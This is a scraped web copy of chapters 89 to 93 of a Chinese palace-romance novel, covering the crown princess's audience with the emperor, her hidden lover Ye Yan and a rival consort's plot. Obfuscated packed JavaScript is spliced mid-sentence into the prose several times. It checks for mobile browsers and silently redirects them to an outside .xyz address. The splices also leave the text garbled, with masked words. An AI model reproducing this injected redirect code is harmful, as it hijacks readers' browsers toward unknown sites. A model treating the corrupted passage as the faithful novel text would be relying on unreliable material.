;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033405|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,倒是见怪不怪。 “鹦鹉尚且能学舌,何况人呢。” “早些年倒是听过老爷子聊起军机阁的事,说军机阁培养的细作都各怀本事。” “什么易容、口技、制毒制香,那都是最基本的。” “最了不得的是那种一目十行且过目不忘的本事,还有善于攻心的骗术。” 李鸢手下竟然有这等能人,江箐珂不由想起易容成李玄尧的八哥儿。 她忍不住感叹:“这京城还真是卧虎藏龙之地。” 江止看向江箐珂,意味深长道:“就你这心机城府,根本不适合京城。” 安静了半晌的夜颜,在此刻又有了动作。 好像很怕江箐珂会跑了似的,夜颜紧紧勾攥着她的手指。 拇指指腹在她的手背上来回摩挲,宛若另一种无声的祈求。 别走。 别嫌弃他。 他的世界很阴暗,有无处不在的算计,虐杀真心的欺骗,血流成河的杀戮,防不胜防的背叛...... 所以,留点光亮给他吧。 马车外,江止的眉间忽然鼓起几丝疑惑,他偏头打量着江箐珂。 “这车窗为何只开一半?” “你那头卡在那里不难受?” 江箐珂头摇得跟拨浪鼓似的,强力辩解。 “没有啊。” “不难受。” “我怕冷。” “车窗若是拉开太大,冷风全灌进来了。” 江止不屑地扯起一侧唇角,冷冷哼笑嘲讽:“鬼鬼祟祟,跟马车里藏了个姘头似的。” “......” 江箐珂听得心里一咯噔。 喜晴立马在旁圆场子。 “大公子可不得乱说,让旁人听了去,会给太子妃惹是非的。” 江止扯了下缰绳,朝马车旁靠近,低声又问江箐珂:“那孩子是......” 可话说到一半,他顿在了那里,似是在斟酌有没有问下去的必要。 默契使然,江箐珂猜到江止在想什么 她用力点头:“是殿下的。” 粗糙温烫的大手径直呼在江箐珂的脸上,将她的头推回了马车内,随后还带上了车窗。 第89章 难怪 江箐珂很怕江止会突然跳到马车上,又或者突然拉开车窗,撞破她马车里还藏着个孩儿他爹。 是以,回京城这一路,她走的是提心吊胆、战战兢兢。 但好在夜颜是守几分君子之道的。 一路上,只是偶尔抱抱她、亲亲她、勾勾小手,或者摸摸她的肚子。 除此之外,并无任何强制性的不雅举动。 不然,以夜颜那个力气,江箐珂定是拗不过的。 阿兄就在她的马车旁跟着,若被夜颜压在身下一番云雨,想想就羞煞人也。 大半日的颠簸,马车入城,行至宫城门下。 江止也只能送到此处。 江箐珂很是放心不下他,从车窗探出头去。 “你戏弄了公主,还劈了她两刀,公主殿下定不会轻饶你。” “阿兄若是现在回家,说不定宅子里已有公主的人在候着呢。” “不如先寻个地方躲几日。” 她将钱袋递给江止。 “这些银子,阿兄先拿去用,寻到好的藏身之处就派人送信给我。” “等明日殿下回来,我去同殿下商量此事,想法子让乐宁公主放阿兄一马。” 江止同江箐珂自是不客气。 他将钱袋塞进怀里,拖着一身懒劲道:“不愧是要当娘的人了,啰里八嗦,什么事儿都跟着瞎操心。” 挥了挥手,江止又说:“回去好好养胎,阿兄的事不用你担心。” “打不过就跑,跑不过……” 他痞里痞气地笑道:“就从了呗,然后把公主院子里的面首也顺带操个遍,看公主能耐我何?” 江箐珂看着这不着调的阿兄,拧着眉头表示嫌弃。 “那阿兄离当太监怕是不远了。” 马车缓缓朝着厚重的宫门驶去。 江止则骑着他的那匹乌骓,手里牵着江箐珂的红枣,一直目送着那辆马车穿过重重宫门,渐渐消失在他的视野之中。 …… 翌日。 李玄尧回了东宫。 为了江止,江箐珂正准备去找李玄尧谈谈。 谁知,御前太监总管却来了凤鸾轩,传她去养心殿面圣。 宫道上,江箐珂带着喜晴,紧跟在太监总管身后。 转身环顾,并未瞧见李玄尧的身影。 斟酌了半晌,她还是忍不住问了一句。 “请问公公,就我一个人去见皇上吗?” “太子殿下呢?” 御前太监总管虽也是身躯佝偻的斑白老人,但说起话来细声细语,精神头儿十足。 “皇上今日就只传了太子妃一人。” 只传了她一人? 江箐珂不由地紧张起来。 也不知衡帝是为何事单独传召她。 走了好久的宫道,穿过一道又一道的宫门,绕了一条又一条的游廊,江箐珂终于跪在了养心殿。 地龙烧得温烫,殿内温暖如春。 浓烈呛人的草药味儿弥漫在各个角落里,即使是极好的龙涎香也遮盖不住。 五体投地,江箐珂脆生生地道了一句。 “儿臣叩见父皇。” 几声咳嗽喘息后,明黄色的薄纱屏风后,传来了衡帝虚弱无力的声音。 “起来吧。” “给太子妃赐座。” 龙威压人,别看江箐珂在东宫抽天抽地的,此时此刻,就她一人跪在这偌大的养心殿,多多少少有点怂。 遂,她假客气了一番。 “不用,儿臣跪着说话也挺舒服的。” 衡帝隔着屏风,吃力道:“你有了身孕,坐吧。” “谢父皇。” 江箐珂起身落座。 “听说,八哥儿的命是你救的?”衡帝问。 “回父皇,是儿臣救下的,起初也不知太子殿下是八哥儿易容假扮的。” “太子殿下有危,儿臣岂能见死不救。” 江箐珂一字一句,回得从容又大方。 衡帝赞道:“不愧是将门之女,是有股子侠义和韧劲在的。” “谢父皇夸赞。” 此言过后,殿内的沉默持续了好一会儿,偶有轻咳和费力的喘息声打破宁静。 江箐珂安安静静地坐在那里候着,等到衡帝再次开口。 “之前,可曾来过京城?” 江箐珂答:“不曾来过。” 见屏风后的衡帝默而不语,她又补充了一句。 “儿臣鲜少离开西延,年幼时,倒是模糊记得随母亲去金陵省过亲。” “后来直至三年前,外祖父离世,阿兄倒是陪我去过一趟金陵。” “金陵离京城不远,当时倒想来看看的,但阴差阳错的,便也没来成。” 衡帝若有所思地虚声念叨着。 “三年前……” “难怪。” 什么难怪? 江箐珂听得云山雾罩。 她隔着屏风打量,想不明白衡帝的这句“难怪”。 然而衡帝也没有解释的意思,继续又同她聊起了西延的事儿,聊起了江家。 “太子妃可知,历代君王最忌讳的是什么?” 江箐珂隐约知晓衡帝要说的是什么,却在那儿装傻充愣。 “儿臣不知,还请父皇指教。” 衡帝答。 “身为一国之君,怕的不是贪官腐吏,而是掌控朝堂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038119|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权臣和手握兵权的武将,还有势力庞大,可以操纵局势的世家。” “而你们江家便是其中之一。” 衡帝身子弱得很,说几句,便要喘一会儿,再咳嗽几下。 待气息平复后,他再次沉声开口。 “父母之爱子,莫不为之深计远谋。” “为了我李家社稷,为了太子日后登基时的朝局稳固,朕曾经想除了你们江家。” 当真是君心难测。 江箐珂万万没想到衡帝传她来会说这话。 她立刻起身下跪。 “江家世代忠心,对皇上,对李氏朝堂,从未有过二心。” “无论是曾祖父,还是祖父,还有儿臣的父亲,以及兄长和弟弟,一心只想替皇上,替李氏守住西延,抵抗异族入侵,保我大周山河完整,护大周百姓安居乐业。” “天地之心,日月可鉴。” 衡帝轻笑了一声。 “忠心之言,满朝文武日日言说,可真正做到的又能有几个?” “天下熙熙,皆为利来;天下攘攘,皆为利往。” “朕身边的人,图的不过都是一个利字罢了。” 衡帝声色沧桑且疲惫道:“正所谓天高皇帝远,将在外君命有所不受。且这人在高位坐久了,总会飘飘不知所然。” “太子妃也勿要怪朕的多疑之举。” 江箐珂诚惶诚恐道:“儿臣不敢。” 衡帝又言。 “你江家驻守西延太久,势力根深蒂固,又军力雄厚,不仅是朕,就连朝中大臣亦是多有言辞。” “且西延粮草军饷是每年国库支出的大头,多少人对这块肥肉虎视眈眈。” “想寻机取代你江家的人,又何止朕?” “今日朕言及此事,是想告诉太子妃,当初若非太子再三劝谏,西延**或许早已家破人亡。” “你欠太子一个人情,日后,望太子妃莫要辜负于他。” “待朕百年之后,定要助他守住帝位,稳住朝中局势。” 江箐珂跪在那里,头垂得低低的。 “父皇乃天命所归,春后必当龙体康宁,福寿绵延,万寿无疆。” 明黄色的屏风后,传来几声轻笑。 “哪来的万寿无疆。” 衡帝怅然道:“纵然是一国天子,也不过是天地蝼蚁一只,生死百年,终有归去之时。” 生死话题,多少有些无奈且悲伤。 殿内又静了片刻后,衡帝慢声又道:“你叫他夜颜?” 听到“夜颜”二字,江箐珂心头抽跳。 她猛地抬头,满眼惊诧地看向屏风后那道模糊的身影。 第90章 不好说 江箐珂没敢搭话。 也不知是这殿内的地龙烧得太旺,还是紧张的,她冒了一身的汗。 殿内的空气都仿若有了重量,压在她的神经上,让人不敢抬手擦拭顺颊滑落的汗珠。 只听衡帝沉声问:“那人既是个不详的异瞳之人,又是个哑巴,你可有嫌弃?” 既然衡帝都清楚东宫的大秘密,江箐珂便也不遮着藏着了。 “现在还不好说。” 江箐珂答得坦然,但其中也加了点试探的小心思。 “主要儿臣还没有见过夜颜公子的真容。” “万一他是个两边翘,中间凹的鞋拔子脸,又或者是猪鼻子朝天的公子……” “儿臣不知道以后会不会嫌弃。” “毕竟儿臣父亲就挺好色的,有其父必有其女,儿臣多多少少也是随父亲的。” 衡帝咳嗽了几声后,喘笑道:“食色性也,人之常情。” 等了半晌,也没见衡帝发火。 江箐珂诺声问道:“儿臣这么说夜颜公子,父皇不生气?” “朕为何要生气?” 装。 一家子都在装。 江箐珂多多少少摸清了衡帝对她的态度。 遂胆子也大了许多。 她脆生生地答道:“因为,没有哪个父亲愿意听别人说自己孩子丑的?更何况您是天子。” “朕何时说夜颜是朕的皇子?”衡帝笑言。 “父皇既然知晓东宫的秘密,那代表太子殿下定是事先经过父皇准允的。” “若夜颜不是某位皇子,父皇又岂能准许**宫闱、混淆皇嗣的荒唐事发生。” 衡帝既没否定,却也没承认。 他只道:“日后,太子妃自会知晓真相,不过是早与晚的区别罢了。” “毕竟,真相通过谁知晓,差别自是大不同。” “朕就不当那招人厌之人了。” 顿了顿,衡帝慢声又言。 “其实,当初朕给太子赐婚时,原本选定的是江箐瑶,而非你。” “毕竟你父亲最疼爱的是那位嫡次女。” “且与她同母所生的弟弟江昱,才是未来继承江家军权之人。” “想着出于爱女之心,又有其生母惦念牵挂,你父亲日后也定带着江昱,全心全力辅佐太子,助江箐瑶稳坐后位。” “是太子执意劝朕,只下赐婚圣旨到你们江家,却不点名娶的是谁,让一切顺从天意。” 衡帝所言,江箐珂也甚是认同。 的确,从某种层面来说,江箐瑶确实是最佳太子妃的人选。 可“嫡次女”三个字,听起来却是异常地刺耳。 那藏在深处的反骨忍不住又冒了出来,她低垂的小脸面色登时沉了下来。 有些事,就算是跪碎了骨头,被打掉了牙,她也不能认。 不然,她过往的十几年就都白作了。 江箐珂认真而严肃道:“江家没有嫡次女,只有儿臣一个嫡女。想来是有人不了解情况,蒙蔽了圣听。” 并没有预期的龙颜大怒,衡帝只是笑了笑,便老生常谈道:“太子妃日后要走的路还长,且顺坦不了。” “你心性单纯,在西延又自由恣意惯了,论心机城府和弄权的手段,自是比不得京城里长大的女子。” “毕竟,有些东西,她们耳濡目染,早都刻在了骨血里。” “既成了太子妃,日后定要执掌后宫,须事事谨慎,避免祸从口出,也万不可意气用事。” 说到此处,衡帝突然咳得厉害,那御前太监总管立马拿着水盏上前侍候。 “皇上,言多费神,于龙体不益啊。” 衡帝似是也撑到了极限,想尽快结束此次密谈。 他费力喘息道:“太子妃有了身孕,想要何赏赐,尽管跟朕说。” 江箐珂一听,脑子里第一想到的便是江止。 能解决乐宁公主这个**烦的,还有谁能比衡帝更合适。 于是,她言辞恳切道:“儿臣倒是有一事相求。” 衡帝言简意赅。 “说。” …… 与此同时,梧桐苑内,空气低沉森冷得可怕。 婢女花容和鹂莺俯首跪在地上,清瘦单薄的身躯在瑟瑟发抖。 夜颜双腿大开地坐在矮榻上,身子微微前倾,双臂撑在膝盖上。 一双异瞳宛若怪兽的瞳眼,阴森可怖地盯着面前的两人。 他左手提着长剑,剑尖有一下没一下地敲点地面,不知何时会突然索了那两名婢女的命。 而穆汐此时就跪在夜颜身侧,泪眼婆娑地打着手语,替那两名女婢求情。 【此事不怪莺鹂,是我命她夜里去骗江大公子的。】 【公主与我自幼便是闺中密友,姐妹情深,她想要个男子而已,我帮她何错之有?】 【至于引诱太子妃入林的江止,我和花容、鹂莺真的毫不知情。】 【不信,你可去问曹公公,花容和鹂莺当时,都在我身边,陪我在冰湖上钓鱼。】 【求求你,别杀她们二人好吗?】 【她们跟了我多年,忠心耿耿,从无二心。】 【我真的没有命她们去害太子妃,为什么就是不信我?】 比划到此处,见夜颜仍毫无动容,穆汐伸手紧握住他手中的剑,将剑尖扯向她的喉咙处。 利刃割破掌心,鲜血顺着穆汐那伤痕累累的手腕流淌。 花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045835|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容和鹂莺见状,立马膝行到穆汐身前,想掰开她那血淋淋的手。 “刀剑无眼,侧妃莫要再伤了自己啊。” “为了奴婢不值得的。” 夜颜眸眼半垂,冷冷地睥睨着她三人。 无论是深褐色的眼,还是水蓝色的眼,皆若古井无波,有的只是冰冻三尺的冷漠,根本不见他在凤鸾轩时的半点柔情和乖顺。 他闭上眼,深吸一口气。 对于耳边的哭哭啼啼,似是甚感厌烦。 一侧眉头轻挑,眉间鼓起几许不耐。 不顾那紧攥剑刃的手,再掀开眼皮时,手速极快地抽剑,手腕轻轻一转,随手刺向鹂莺的喉咙。 穆汐见状,立马将鹂莺推倒,扑在她身上拼死守护。 剑尖刺在穆汐的肩背上,在扎进几寸后,停在了那里。 锋锐冷厉的异瞳睨着主仆三人,眼底是佛主都渡不去的腾腾杀气。 就在此时,殿门突然被人撞破。 李玄尧大步冲了进来。 话不说一句,李玄尧上来就重重抡了夜颜一拳。 虽不是习武之人,可那一拳下去,也打得夜颜唇角渗出几丝血气来。 李玄尧夺过手中他手中剑,用力扔到一侧。 “你为了她,竟敢这么对穆汐?” 李玄尧正要指着夜颜训责时,谷俊又赶来禀告。 “启禀殿下,内阁首辅穆大人……” 谷俊看了眼背哭得梨花带雨的穆汐,又瞧了眼她背上的伤,和鲜血淋漓的手,一时间为难起来。 他语气略有迟疑道:“穆大人说……要看望女儿穆侧妃。” 而从养心殿回来的江箐珂,刚好在东宫宫门前遇到谷俊口中的穆大人。 “微臣穆元雄见过太子妃。” 江箐珂颔首回应,并将穆元雄细细打量了一番。 他鬓角微霜,眉眼从容清雅,神情清朗淡定。 虽年过半百,却风姿如昔,一身文袍之下风骨峻峭,宛若老松挺雪,举手投足间皆是旧时名士的温润风流。 穆汐的温婉清雅之美,是随了穆大人的。 “穆大人来见太子殿下?”江箐珂和气问道。 “微臣是来见小……”意识到称呼不符宫中规矩,穆元雄改口笑道:“微臣是来看望穆侧妃的。” 江箐珂敷衍地寒暄了几句后,转身要走,正巧太傅白隐也行至东宫门外。 “微臣见过太子妃。” 白隐痛江箐珂行礼过后,又朝穆元雄恭恭敬敬地行了拱手礼。 “学生见过先生。” 闻声,江箐珂驻足,略有些惊讶道:“白太傅是穆大人的学生?” 白隐颔首,温文尔雅道:“正是。” 第91章 一点都不好 白隐的那声“先生”,让江箐珂不由想起了八哥儿口中的那位“先生”。 回凤鸾轩的路上,她便一直在想,八哥儿誓死效忠的那位“先生”,会不会就是这位穆大人? 若她的猜测是对的,那这位首辅穆大人还真是了不得。 教出了能过目不忘的探花太傅,又培养出了能易容模仿的八哥儿。 难怪李玄尧如此依赖穆家。 夜里,江箐珂洗过澡,沐过发,还在琢磨衡帝白日里同她说的话。 事到如今,夜颜的身份再明显不过。 她唯一想不通的是,夜颜若是五皇子李道,同她言明就是,还有何遮掩真容的必要呢? 是时,喜晴拿着手炉,一缕一缕地给江箐珂烘着头发。 “现在天气冷寒,太子妃又有了身孕,可不能着凉了,这头发必须都得烘干才能睡。” 江箐珂心不在焉地点头“嗯”了一声。 兀自沉思半晌后,她想起一件事来。 “对了,让你打听的事,下午可问过了?” 喜晴慢声回言。 “奴婢同谷丰等人问过了,但他们也只是讲了个大概。” “只说,永王这事一出,首辅穆大人昨日便带领群臣纷纷上奏,呈递各处收集来的证据,求皇上下令彻查雪狩行刺和永王意图谋反之事。” “因永王妃是惠贵妃的亲妹妹,惠贵妃的母家也跟着受到了牵连,惠贵妃在朝中为官的几位叔父和兄长皆被押到了刑部查办,母家府邸也暂时被官兵围封,不准随意出入。” “至于江陵郡那边,听谷昭说,南疆大将军为了摆脱谋逆嫌疑,与永王划清界限,连夜派人送信至京城,主动上交兵权,以表忠心。” “而永王的儿子李熹和永王妃也皆被押入了诏狱。” 江箐珂颔首道:“如今,惠贵妃和十皇子的背后势力算是折损了一大半,再想扳倒殿下,易主东宫,怕是难上加难了。” 殿门在此时吱呀而开。 一股冷风带着清香之气,绕过暖帘嗖嗖灌入,但很快又被殿内暖气中和得一丝全无。 夜颜褪去外面的玄色斗篷,踱步到火炉前,散了散身上的寒气,这才来到江箐珂的身前。 他无声地从喜晴手里拿过暖炉,坐在江箐珂的身后,细心地给她烘起头发来。 喜晴则识趣地退了出去。 花枝灯上的蜡烛偶尔炸响,与炉中的炭火噼啪相称,显得殿内安静无比。 半晌,江箐珂一边低头卷弄自己的长发,一边慢声开口。 “你父皇应该很爱你的母后。” “不然,那么多皇子可选,为何偏偏要选殿下。” 她侧头用余光看了看身后的人。 但夜颜毫无反应,仍默默地给她烘则头发。 江箐珂转过头来,兀自说着。 “你们兄弟二人还真是有意思。” “一个不能生,一个异瞳又哑巴,只有凑到一起,才算是完整的东宫之主。” “不过想想也是。” “若是你当了太子,日后成了国君,顶着这双与众不同的眼睛,坐在龙椅上与大臣们议政,还要靠写字或打手语沟通,着实不妥了些。” “不过这种情况也不可能。” 江箐珂笑了笑,又道:“估摸着,你被封为太子的那天,朝中的大臣就要跳脚闹翻天了。” 身后之人终于有了反应。 手炉悬在那里不动,穿过发丝的五指也僵滞不动。 “但是......” 江箐珂转过身来。 夜颜眼睁睁地看着那几缕青丝从他指间滑去,在想要收手抓住时,却只碰到细细的发梢。 “好在你不是李玄尧。” 一双明眸善睐泛着细碎的光,江箐珂看着夜颜笑得明媚。 “你若是当了太子,日后再当了皇帝,那就不是我江箐珂一人的夜颜了。” “要是你跟殿下一样,身边好多女人,我得气死。” “以前在西延,我看着军营里的那些臭男人,整日去**营里逛,觉得男人都一样,除了阿兄,没几个好东西,所以嫁谁都无所谓,只要找个家势差不多的便可。” “但是认识你之后,就觉得男人好像也不是都一样的。” 江箐珂扑到夜颜怀里。 她鼻子贴在他的侧颈处嗅了嗅,然后抱着他的腰,仰着面颊笑道:“你干干净净的,还香喷喷的。” “但,咱俩一直这样偷偷摸摸的,终究不是回事儿。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045836|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“不如,等我们生一两个孩子给殿下后,我就假死,然后你跟我和阿兄一起去西延。” “若殿下忌惮你会掌控西延兵权,那我们就跟阿兄开个镖局,过普通百姓的日子,每天押着镖,走遍大周,如何?” 夜颜只是看着她不语,水蓝色的眼底氤氲着悲伤,深褐色的眼里则是两难的无奈。 江箐珂抱着他的腰用力晃了晃。 “你倒是给点反应啊。” 放下手炉,夜颜抬手比划。 【宫里就这么不好吗?】 江箐珂紧鼻子拧眉头。 “一点都不好,反正我不喜欢。” “我当初就是没见过世面,不知皇宫是这种地方,又意气用事,不然死活也不跟江箐瑶争这太子妃之位。” 似是逃避,夜颜紧抱着她,将头埋在江箐珂的颈窝处。 江箐珂瞥了眼系在夜颜耳后的那根绳,又动了摘面纱的心思。 可夜颜这人机敏得很,她手刚伸过去,就握住了她。 “我都猜到你是谁了,给看看怎么了?” 江箐珂将他从身前推开,气囊囊道:“还是你真长个鞋拔子脸、猪鼻子?” 夜颜手语回复。 【等麻烦都解决,等我准备好。】 江箐珂没了耐性,火气蹭的一下,似要从天灵盖要冲出来。 “有什么麻烦要解决?有什么好准备的?” “我都猜到你是五皇子李道,还有什么好隐瞒的?” “看个脸儿而已,又不会怎样。” 江箐珂实在想不通,于是脑子里什么乱七八糟的念头都冒了出来。 她双手叉在腰间,美眸圆睁地怒道:“还是说,你的麻烦是穆侧妃?” “她心悦于你,所以等跟我给李玄尧生完孩子后,你都准备好了,再告诉我真相,然后跟穆侧妃私奔?” 夜颜只是摇头,仍是没有解释。 江箐珂气得翻了个大白眼。 “真是要憋死个人!” 她起身下了矮榻,见到碍事儿的就踢一脚,然后嘟嘟囔囔地朝床榻走去。 “什么的乱七八糟!” “你们京城的这些鸡贼们,怎么这么复杂。” “爱长什么鬼样子,就长什么鬼样子。” 第92章 有诈 凤鸾轩内炭火融融,映在夜颜心事重重的眼底,添了一层暖意,而此时的梧桐苑,却是火都烘不热的清冷调调。 穆汐红着眼,看着铜镜中的自己。 好似毫无知觉似的,任由鹂莺给她的掌心和背上的伤口换药。 不多时,花容穿着斗篷,带着一身寒气从殿外进来。 “小主,您要的东西都弄来了。” 花容分别将一个木盒和一身寝衣,呈递到穆汐的面前。 “这是派人去西延买回来的香料。” “这件是棉麻做的寝衣,与太子妃的那件样式一点不差。” 穆汐目光轻蔑地瞥了眼那两样东西,睫羽轻颤了一下,猝然抬手,将那东西全都推到了地上。 木盒摔散,几瓶香料凌乱滚出。 她面色平静地盯着地面,唯有眼底有情绪在翻涌交叠。 花容立马将东西拾起,放得远远的。 “小主又是何必呢。” 鹂莺心疼不已地劝道:“世间男子大都相似,这看惯了花房里的牡丹、兰花,冷不丁瞧见外头的野花,难免会觉得特别新鲜。” “可待日子久了,野花终归是野花,比不上花房里娇养的名花。” “这日久能生情,可日久也能生出嫌隙来。” “到那时,一时欢喜倾心又如何能跟细水长流的情意相比。” “小主不如就耐下性子等一等,自有老爷会为您筹谋,日后替你除掉太子妃。” 穆汐看着镜子里的自己,苦苦一笑。 她打着手语回应鹂莺的话。 【等?】 【自他二人同房那晚起,对我来说,每日每夜都是煎熬。】 【本以为我恢复身份,名正言顺嫁入东宫,便可以让这样难熬的日子少一些。】 【可现在,却比以前更难熬。】 【如此煎熬、痛心的日子,让我如何等?】 穆汐目光放空地思忖了片刻,似乎想通了什么,眸色登时一亮。 她转头看向鹂莺,打手语确认。 【你刚刚说,日久也能生嫌隙?】 鹂莺点头。 笑意从穆汐的唇角漫上眼底,带着一点静静的疯感。 她眼里闪着光,连比划的手势都多了点力气。 【对!嫌隙。】 【我之前怎么没想到呢。】 【捆不住他的心,但我可以将那个女人的心推得远远的。】 【知道自己被欺骗、被众人蒙在鼓里旁观的滋味,一定很不好受。】 鹂莺露出担忧之色,摇头劝阻。 “主子这样做,未免得不偿失。” “会坏了您与殿下多年的情意不说,也会让东宫失去江家这个靠山。” 【怕什么,还有白太傅的未婚妻在。】 【白太傅是父亲的学生,江家一样可为东宫所用。】 穆汐冷笑。 【总之,我不好过,就都别好过。】 ...... 一晃几日过去,迎来了除夕。 除夕宫宴上,江箐珂见到了李鸢。 因江止的事,李鸢从看到她第一眼起,就没给什么好脸色。 当众人赏舞之时,李鸢端着酒盏,佯作亲昵和气之态,来到江箐珂的身侧坐下。 假惺惺地敬了她一杯酒,李鸢幽幽开口。 “本来觉得太子妃怪可怜的,还想答应某个人对你好点来着,如今来看......” 李鸢哼笑了一声,意味极深地撇嘴道:“倒是本公主自作多情了。” 江箐珂听了想笑。 谁稀罕她的可怜? 立马给自己倒了杯茶,江箐珂煞有介事地敬了李鸢一杯。 “多谢公主殿下的不可怜之恩。” “大恩无以为报,日后定从西延军营里挑几个像阿兄那样的山野糙汉,进献给公主殿下戏玩。” 李鸢秀眉微拱,一脸愕然地看着江箐珂。 她是又气又恼,又无言以对。 发火吧,江箐珂说日后给她送江止那样的糙汉。 不发火吧,江箐珂又在藐视她的可怜和好意。 真是邪门儿得很。 在旁侧听了半天墙角的李玄尧,伸手拍了拍李鸢的肩膀,试图安抚她那无法发泄的火气。 “皇姐莫要动怒。” “没办法,本宫的太子妃......” 李玄尧觑了江箐珂一眼,转而看着李鸢戏谑笑道:“背,背......背后.......有......有五五五......五十万,大,大,大军!” “所以,让着点儿她。” 李鸢一副见鬼的表情,将李玄尧打量了半晌。 “喝毒酒了吧你。” 言毕,她黑着脸,提着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046532|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迤地长裙而去。 待李鸢离开后,江箐珂转头看向喝得有点多的李玄尧。 “殿下,这这这这,这样,有完没完?” 李玄尧百无聊赖地又灌了一杯酒。 不同以往的孤冷清高,今夜他看起来心事重重。 掀起眸眼,李玄尧看向坐在下位的穆元雄,冷笑叹道:“是啊,有完没完,何时是个头儿?” 江箐珂听不懂。 循着李玄尧的视线看过去。 也看不透。 只觉得这东宫里的人,除了她,各个都有秘密,活着都很累。 初七这日,江箐珂刚从宫外回来,梧桐苑的花容便待穆汐送了封信笺过来。 江箐珂单手撑腮,盯着桌面上的那张字条,陷入了纠结之中。 “穆侧妃为何要在酉末时分,邀太子妃去她院里?” “还不让其他人知晓,真是好奇怪。” 喜晴心中生疑:“会不会有诈?” 手指习惯性地敲着桌面,江箐珂斟酌道:“她一个柔弱不能自理的小女子,咱俩都是练过把式的,再诈能诈咱俩几根汗**?” 喜晴撇嘴摇头。 “这可不一定。” “万一殿里点了迷香,奴婢和您一进去,就被迷倒呢,那岂不是任人摆弄?” 可好奇就像一粒种子,一旦在心里种下,便会生根发芽,弄得人心痒难耐。 穆汐说有秘密要告诉她。 到底是什么秘密呢? 还说是她一定很想知道的秘密。 江箐珂思来想去,到了酉末时分,还是决定去会一会穆汐。 “走,去看看这位穆侧妃,到底是人还是鬼。” 揣着**,提着鞭子,江箐珂便带着喜晴去了梧桐苑。 以防万一,江箐珂命喜晴候在殿外。 “有什么危险,我给你信号,你立马去找曹公公。” 殿门大敞,花容和鹂莺就守在殿外两侧。 江箐珂瞧了二人一眼,紧握着刺龙鞭子,进了穆汐的寝殿。 走了几步,殿门却并未在她身后吱呀关上。 她谨慎地四下打量。 花枝灯根根烛火都燃着,四处悬挂的宫斗也都亮着,炉子里的炭也烧得正旺。 只是殿内却连个人都没有。 江箐珂美眸半眯,锐利的视线转向屏风后的那处。 第93章 我该怎么称呼你(修) 屏风那侧模模糊糊,也看不清都有什么。 说个秘密还要装神弄鬼,也不知穆汐要搞什么幺蛾子。 江箐珂耐心逐渐告罄。 她冲着屏风扬声斥责:“穆侧妃向来遵规重矩,怎么本宫来了,也不知出来相迎?” 等了半晌,回应她的仍是沉寂一片。 江箐珂回身朝殿门外瞧了一眼,正好对上婢女鹂莺的视线。 鹂莺朝她微微颔首,做了个请的手势。 江箐珂便大着胆子,踱步绕到屏风的另一侧。 而屏风之后又是一层垂挂的纱幔,抬手挑起,意料之外的场景豁然撞入眼底。 江箐珂瞳孔骤缩,难以置信地看着案桌之后。 原本在案桌正后方的**架,右侧旁移,露出了通往地下密道的入口。 很显然,这暗门是为她而开。 踏出的步子迟疑了一瞬。 可纵然前方设有陷阱,江箐珂还是想进去瞧一瞧。 再危险,能有敌国几十万兵马攻城时危险? 区区一个穆汐而已。 转身摘下一盏流苏宫灯,江箐珂毅然决然地走进了那道暗门。 宫灯冲淡了密道的黑,暖黄的光晕在脚下轻晃,随着江箐珂的步子,一点点顺阶而下。 待下了三十六个台阶后,进入了一条能容二人并肩通行的石道。 顺着石道一直往前,又来到一处宽敞的密室。 密室里未点灯,紧靠一盏宫灯很难看清楚。 